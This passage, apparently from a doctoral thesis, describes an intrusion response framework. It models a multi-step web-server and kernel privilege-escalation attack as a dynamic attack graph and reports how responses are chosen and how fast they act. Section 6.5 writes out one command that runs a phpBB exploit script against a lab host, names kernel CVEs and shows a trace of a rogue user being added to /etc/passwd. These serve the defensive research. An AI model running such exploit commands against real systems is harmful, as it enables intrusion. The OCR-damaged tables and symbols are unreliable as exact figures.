vulnerable(apache, CVE-2005-2086)A
reachable(H,, Hy, 80)A
execute(apache, shell) A
execute(shell, exploit;) A
vulnerable(kernel, CVE-2010-4258)
vulnerable(kernel, CVE-2010-3849)
vulnerable(kernel, CVE-2010-3850)
intruder :

knows(U,, execute(apache, shell))A
knows(U,, CVE-2010-4258)

141
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knows(U,, CVE-2010-3849)
knows(U,, CVE-2010-3850)
knowledge level :

kl = No

Postconditions :

network effects :

execute(exploity, shell)A

intruder :

knows(U,, execute(exploity, shell))

CIA effects :

con fidentiality Loss(apache, medium)A
integrity Loss(apache, medium)/A

availability Loss(apache, medium)

As explained, in the last phase of this multi-step attack, the attacker creates a new user
on the target machine to maintain permanent root access. The shell related to the exploit
program also spawns a process for adding a user (execute(shell,adduser)). The important
point to note here is that a process in the trace file opens the file /etc/passwd, and writes
to it, execute(adduser, write). So, the fact that the attacker has obtained the root privilege

means that he can now write to the file /etc/passwd as well.

fs.open: 18338, 18338, /usr/sbin/useradd, , 18332,
0x0, SYSCALL { fd = 15, filename = "/etc/passwd" }

fs.write: 18338, 18338, /usr/sbin/useradd, ,
18332, 0x0, SYSCALL { count = 24, fd = 15 }

Now the attacker has become a super-user on the attack host (priv(U,, Hy, root)) and the

effect on confidentiality, integrity, and availability is high.

State Sg : shell executes addUser
Preconditions :
network :
execute(exploity, shell)A
execute(shell, adduser)
execute(adduser, write) A\

intruder :



143

knows(U,, execute(exploity, shell))
knowledge level :
kl = No

Postconditions :

network effects :

—service( H,, apache, 80)

intruder :

priv(Uy,, Hy, root)

CIA effects :

con fidentiality Loss(apache, high) A
integrity Loss(apache, high)A
availability Loss(apache, high)

6.5.5 Simulation Results

In this section, we define different scenarios for running the multi-step attack that we have
designed. Then, we demonstrate how the response selection module can adapt its decision to
the scenarios. In addition, the examples demonstrate the flexibility of the new approach and
how the occurrence of the same multi-step attack can trigger different responses for different
scenarios.

Scenario 1 : In the first scenario, the intruder runs all the steps of the multi-step attack,
and even of the second type. As Table shows, the attacker’s knowledge level (k) is zero in
each occurrence of the this incident. £ is the real impact obtained from the service dependency
graph, and is 0.63. Table shows how it is obtained. State Sy is an important state in our
attack graph, because this is where the attacker obtains root permission. So, we calculate
the attack cost in this state and send the value to the response selection module. Let us see
how A,,.. is calculated from the attack graph. As shown below, the maximum value among
the successfully executed attack steps in the attack graph is first obtained for each element
of CIA, and A, is eventually calculated from the sum of the three elements of the CIA
divided into 3. As shown, A,,., is 0.66 up to step Ss.
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Since there is no strong evidence to indicate that the attacker has obtained root permis-
sion, the value is not 1, but the value 0.66 suggests that the system will be compromised in
the next states. The attack cost (V) for the first execution of the multi-step attack up to
state S5 is 2.29. Based on this value, the response selection module selects the second response
from the ordered list, as illustrated in Table [6.3] This response (R_KILL_PROCESS (spawned
process)) kills the spawned process responsible for satisfying the intruder’s request. Then,
the attacker runs the multi-step attack again, hoping that it will work this time. However, the
R_NOT_ALLOWED_HOST (attacker_IP) response is applied, and the intruder will realize that
his IP address has been blocked and he must change to another IP. If the intruder changes his
IP and repeats the attack, the response system will apply the R_RESTART_DAEMON (httpd)
response. This prevents the intruder from running any commands, but only for a short time.
If the attacker repeats the attack several times, the Web server will eventually be isolated
from the network.

Scenario 2 : In the second scenario, the attacker first runs the multi-step attack un-
til the response system stops him with the R_KILL_PROCESS (spawned process) response.
Since the intruder guesses that there is a high probability that the malicious program is still

available on the target machine, he runs this command :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "/tmp/LPE"

So, in the second run, the intruder skips three states : probing, uploading the exploit, and
compiling it. Since there are three knowledge states in our dynamic attack graph, x is 1. As

shown, A, is still 0.66 (the attacker runs ncat step).
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Consequently, this time, the response selection module selects a stronger response (Ry).
It does not allow the user to obtain a root shell to proceed with the last attack phase.

Scenario 3 : In this scenario, the attacker has information about the target platform. He
uploads the exploit executable on the target machine, skipping three steps of our dynamic
attack graph : probing, ncat, and compile exploit (Anaz(t1){S3, S5} = 0.66). Because the
knowledge level based on Eq. is 0.66, the RSM chooses the R_NOT_ALLOWED_HOST (atta-
cker_IP) response for t;. In the second round, as the second scenario, the attacker guesses
that the malicious program is still available and runs the exploit directly (Aq.(t2){Ss} =
0.66). This time, the response selection module selects a stronger response (R4). Then, the
intruder guesses that either the exploit is not available, or a patch may lead to a secure Web
server, removing the remote script injection vulnerability. He consequently decides to run the
probing phase and verify the vulnerability again (A,q.(t2){S1, S3, 5S4, S5} = 0.66). This time,
the RSM selects the R_RESET_HOST (x) response (line 12 Algorithm [J).

6.5.6 Framework performance in real-time

As explained, the dynamic attack graph component registers, in advance, all system calls
that are defined in the preconditions of all the states in the attack graph in the detection
component. Based on the registered system calls, the detection component sends alerts to the
DAG component. To perform the correlation between states and to check the preconditions,
the DAG receives help from the State History Database [53] 94]. We first examine how long
it takes to detect and store/retrieve information from the State History Database. Once an
attack step occurs and the LTTng kernel trace events are created, our detection component

has to detect the attack and send alerts to the DAG. The total cost of generating trace events,

Table 6.1 Service Value

Direct Impact Forward Impact Backward Impact Total Impact
Service Name | C 1 A C I A C 1 A C 1 A | Total Impact | Normalized Impact
httpd 05 07 08[1x08 1x1 1x0.5 0 0 0 1.3 1.7 1.3 4.3 0.63
MySQL 08 1 0.5 0 0 0 1x05+1x1 1x07+1x1 08x08+08x08([23 27 178 6.78 1

Mail 1 1 08 0 0 1 x 0.5 0 0 0 1 1 13 3.3 0.39
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Table 6.2 Different scenarios of the same incident vs. different response selection

‘ I lo l3 ly

v 1 2 3 4
K 0 0 0 0
Scenarioy | € 0.63 0.63 0.63 0.63
Az 0.66 0.66 0.66 0.66
v 229 3.29 4.29 5.29
Candidate | Ry Rs Ry Rs
¥ 1 2 3 4
K 0 1 1 1
Scenarioy | € 0.63 0.63 0.63 0.63
Az 0.66 0.66 0.66 0.66
v 229 429 529 6.29
Candidate R2 R4 R5 RG
0, 1 2 3 4
K 0.66 1 0 1
Scenarioz | 0.63 0.63 0.63 0.63
Aoz 0.66 0.66 0.66 0.66
v 295 429 429 6.29

Candidate Rg R4 R5 RG

Table 6.3 Ordered list of responses based on the lowest penalty cost

Rank Name User Impact Stability

1 R_CLOSE_A_NET_CONNECTION Attacker Connect again

2 R_KILL_PROCESS (spawned process) Attacker Connect again

3 R_NOT_ALLOWED_HOST (attacker—_IP)  Attacker Change IP

4 R_RESTART_DAEMON (httpd) All apache users Apache service will be available soon
5 R_RESET_HOST (z) All apache users and other available services users on host z  All services will be available soon

6 R_BLOCK_RECEIVER_PORT (httpd port) All apache users Apache service is not available

7 R_ISOLATE_HOST (z) All apache users and other available services users on host #  All services are not available
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Figure 6.6 Service dependency graph of three servers of the experimental network model

reading events, and matching patterns takes about 60 ms for this multi-step attack scenario.
Our detection component abstracts the trace information and stores all the information about
the current and historical state values of the system services (execution status of a process,
file descriptors, disk, memory, locks, and other information) in the efficient state history
database.

For this trace, generated at a rate of 385 KB/sec, storing the state information in the
state history database takes 70 ms. Then, the attack graph component uses this information
to check the state preconditions. Retrieving information from the history database takes 60
ms. Since our approach is a dynamic attack graph, we have to check the preconditions of the
five states (the only way to move to the sixth state is from the fifth state). To check on some
conditions, the attack graph component has to send a query to the state history database.
The worst case is to start running the attack scenario when all the conditions of the five
states have to be checked. It takes 200 ms the first time this is done.

The next time delay is computing the attack cost. One of the parameters in calculating
the risk is the service impact. For this reason, we want our response selection to be very
quick. To achieve this, we calculate the impact on all the services in advance. So, the risk
assessment component takes less than 10 ms. The response selection component has to find
the appropriate response to mitigate the attack. The decision is made in less than 8 ms. The
important question here is how long a response takes to become effective. The reaction delay
depends on the type of response, but it is important that the response be applied before the
attacker executes the last step, which is to create a permanent user.

As mentioned, our approach supports dynamic attack graphs, as the intruder may try to
execute the exploit directly. This triggers state S5 in the attack graph and, in the worst case,

our framework takes 3/3 ms. So, when the attacker runs the exploit to obtain a root shell,
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our framework is quick to decide on, and prepare, a response to counter the attack, and it is,

in fact, fast enough to stop the attack in real-time.

6.6 Conclusion

We presented an online method to calculate the attack cost using a dynamic attack graph
in live mode. Most attack graph methods studied in the literature look at the generation
of complex attack graphs and the complexity of analyzing these large attack graphs. There
has been little attention paid to real live implementations for calculating damage costs. Few
existing implementations have used the outputs of IDSs, which do not provide sufficiently
precise information to detect sophisticated multi-step attacks.

The proposed framework benefits from kernel-level events provided by the LTTng tracer
to obtain efficiently a lot of information about system calls entry and exit. We abstract the
trace information and store all the information about the current and historical state values
of the system services in the efficient state history database. Thus, the presented dynamic
attack graph has an accurate database from which to extract accurate information on a
complex multi-step attack.

Recently proposed approaches use either attack graph-based or service dependency-based
methods to calculate multi-step attack costs online. We use both of these to compute the
damage cost. To this end, we have extended the LAMBDA language with two features : the
intruder knowledge level and the effect on CIA.

Moreover, most approaches assume that there is no relationship between services in calcu-
lating the impact of the attack on the target service. In contrast, we benefit from the service
dependency graph to compute the damage cost based on three concepts : direct impact,
forward impact, and backward impact. Therefore, an accurate attack cost is obtained based
on information provided by service dependency and attack graphs. Eventually, the response

selection module applies a response in which the attack and response costs are in proportion.
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CHAPTER 7

GENERAL DISCUSSION

In the last five years or so, we have seen impressive changes in the ways in which attackers
gain access to systems and infect computers. The main problem with choosing a security
measure is identifying the security problem. It is important, for example, that we do not
isolate a whole server from a network and disrupt the many services we have installed there,
nor do we want to kill processes that are using considerable amounts of CPU resources if we
are not convinced they have been compromised. Consequently, the appropriate algorithms
must be implemented in an IRS, and the right set of responses with a very high positive value
must be selected whether or not an attack is in progress. To design an appropriate algorithm
to trigger responses, the attack level (user access, root access, and application access) has
to be considered. Countering attacks requires preparation of a complete list of responses, an
accurate evaluation of those responses in a network model, and understanding the impact of
each response in every element of the network. Otherwise, our automated IRS will :

— reduce network/host performance,

— wrongly disconnect users from the network /host,

— result in high costs for administrators re-establishing services, and

— become a DoS attack for our network, which will eventually have to be disabled.

Today, many services are available and used by large numbers of users. It is extremely
important to maintain the users QoS, the response time of applications, and critical services
in high demand.

One solution to make IRS intelligence is adding a prediction component. It has the po-
tential to detect multi-step attacks missed by the detection component and can decrease
false negatives in detection. On the other hand, the response system can use the prediction
component results as input, instead of the detection component generating many alerts with
high false positive rates. We presented a modulated alert severity technique for multi-step
attack prediction. Our experimental results on the DARPA 2000 data set have shown that
our model can perfectly predict distributed DoS attacks.

To address the above mentioned challenges, a framework for attack response called OR-
CEF was proposed. It figures out the best location on a network for applying a response.
The main concern in real-time is the efficiency and scalability aspects of the framework and
the ability of the framework to compute costs for all applicable responses at every point on
the attack path. The Fuzzy Multi-Criteria Decision-Making (MCDM) technique is used to
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calculate the response cost. This technique is fast and enables very quick decision making in
our response system, in order to prepare a ranked list of responses in online mode.

The second objective of this thesis was to extend the ORCEF framework to support
dynamic risk assessment for estimating attack cost. The second framework was designed
for the Linux Trace Toolkit next generation (LTTng) tracer in online mode. We discussed
how our detection component simplifies the analysis of the low-level events, and compares
the captured data with well-defined attack patterns. The effectiveness of the approaches are
demonstrated on a sophisticated multi-step attack to penetrate Web servers, as well as to
acquire root privilege. This is a sophisticated attack scenario. In the first part, the attacker
attempts to gain unauthorized access to a computer from a remote machine by exploiting
system vulnerabilities (R2L). In the second part, he tries to obtain root privileges illegally
(U2R). We describe in detail how each step of our attack scenario is detected by our detection
component.

Another important point that we tried to present is exploiting the response history (res-
ponse goodness) in an IRS framework. Many researchers use the response goodness in the
response cost model to make it dynamic (since other parameters are static). One drawback
to using response goodness is that it blocks the response selection mechanism after a while.
Since a strong response is better able to repel an attack, its goodness attribute increases all
the time. If we sort the responses based on response goodness, we will be selecting the strong
response all the time after a while, which is not what we want. Our dynamic response cost
model, explained in ORCEF, is not based such response goodness. In the ARITO framework,
not only have we proposed a novel method to calculate the response goodness but also we
presented a way to calculate an accurate risk level for the network, when we apply a response
based on response goodness.

Another important research question is the feasibility of the approach in online mode
to counter an attack at the right moment, given the cost of tracing, abstraction, and risk
assessment processing. We presented measurements demonstrating that our framework can
quickly decide and prepare response(s) to counter a real attack, and it is fast enough to stop
the attack in real-time.

The last objective of this thesis is the presentation of an architecture to consider service
dependency graphs when calculating the attack cost. We extended the ARITO framework,
becoming ONIRA, to support attack impact propagation, from a service to other services,
based on the type of dependency in the service dependency graph. On the other hand, we also
wanted to estimate the attack cost with help from the attack graph. Most attack graph based
methods look at the generation of complex attack graphs, and the complexity of analyzing

these large attack graphs. There has been little attention paid to real live implementations for
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calculating damage costs. Few existing implementations have used the output of IDSs, which
do not provide sufficiently precise information to detect sophisticated multi-step attacks. In
the simulation result, we discussed different scenarios of running multi-step attacks, and then

we demonstrated how the response selection module can adapt its decision to the scenarios.
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CHAPTER 8

CONCLUSION

This work focused on the topic of automated intrusion response system (IRS), how we
detect multi-step attacks in real-time and how we return the system to healthy mode with low
cost and low impact on network services. The proposed framework benefits from kernel-level
events provided by the LTTng tracer to obtain efficiently detailed information about system
calls entry and exit.

We presented an intrusion response system taxonomy which classifies a number of research
papers published during the past decade in the IRS domain based on critical indexes. This
taxonomy provides a better understanding of the response systems. We discussed the key
features of IRS that are crucial for defending a system from attack. This taxonomy will open
up interesting areas for future research in the growing field of intrusion response systems.

The first component presented in this thesis proposes a framework for predicting sophis-
ticated multi-step attacks. Since alerts correlation plays a critical role in prediction, a modu-
lated alert severity through correlation concept is used, instead of just individual alerts and
their severity. Hidden Markov Models (HMM) are used to extract the interactions between
attackers and networks.

The second component presents an online response cost evaluation model. It emphasizes
an important issue related to IRS support, identifying the attack path, since extracting it
can enable us to specify the appropriate locations for applying responses. With respect to
the location type, appropriate responses can be assigned by dynamically calculating the cost.
In this way, an attack path-based IRS finds the best locations for applying responses at the
lowest penalty cost.

The third component of this research underlines that running responses in burst mode
decreases not only network performance, but also that of the attacked machine. We therefore
proposed a retroactive approach to determine the number of effective responses for repelling
an attack. We also discussed two important components that provide IRS intelligence : 1) the
history-based response selection component ; and 2) the response deactivation component.

The fourth component proposes a framework that supports dynamic attack graphs to
correlate the intrusion detection component outputs. It also helps the response system to
apply responses in due time, at the right place and with the appropriate intensity. This work
focused on three problems : (i) detecting and generating the attack graph based on kernel

level events, (ii) calculating the attack cost, and (iii) selecting an appropriate countermeasure
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to repel attacks. To model each state of attack graphs, the LAMBDA language is used. We
have added some attributes in this language in order to calculate the attack cost accurately.
To calculate the attack cost, we used the advantages of Attack Graph-based and Service
Dependency Graph-based approaches. Below are some suggestions for future research on the
development of IRS.

The work presented here has addressed an important number of important issues in
IRS systems. Many important factors previously not taken into account are now used to
dynamically select the best responses to attacks. Nonetheless, there are several areas where
different heuristics strategies and empirical coefficients are used. In order to better test and
optimize the selection of these parameters, and compare with other IRS systems, it would be
interesting to assemble a large data set of recent attacks, not unlike the DARPA data set [35].
However, this data set of attacks would need to be executable and include the attacking and
attacked systems images (software packages, data, configuration, etc.), a major undertaking
for any single research group. The main suggestion for future research on the development
of IRS is preparing a strong, real dataset of single and multi-step attacks. Such a dataset is
needed by all security researchers and will be useful for testing the efficiency and scalability

aspect of the intrusion response systems in real-time in the large environments.
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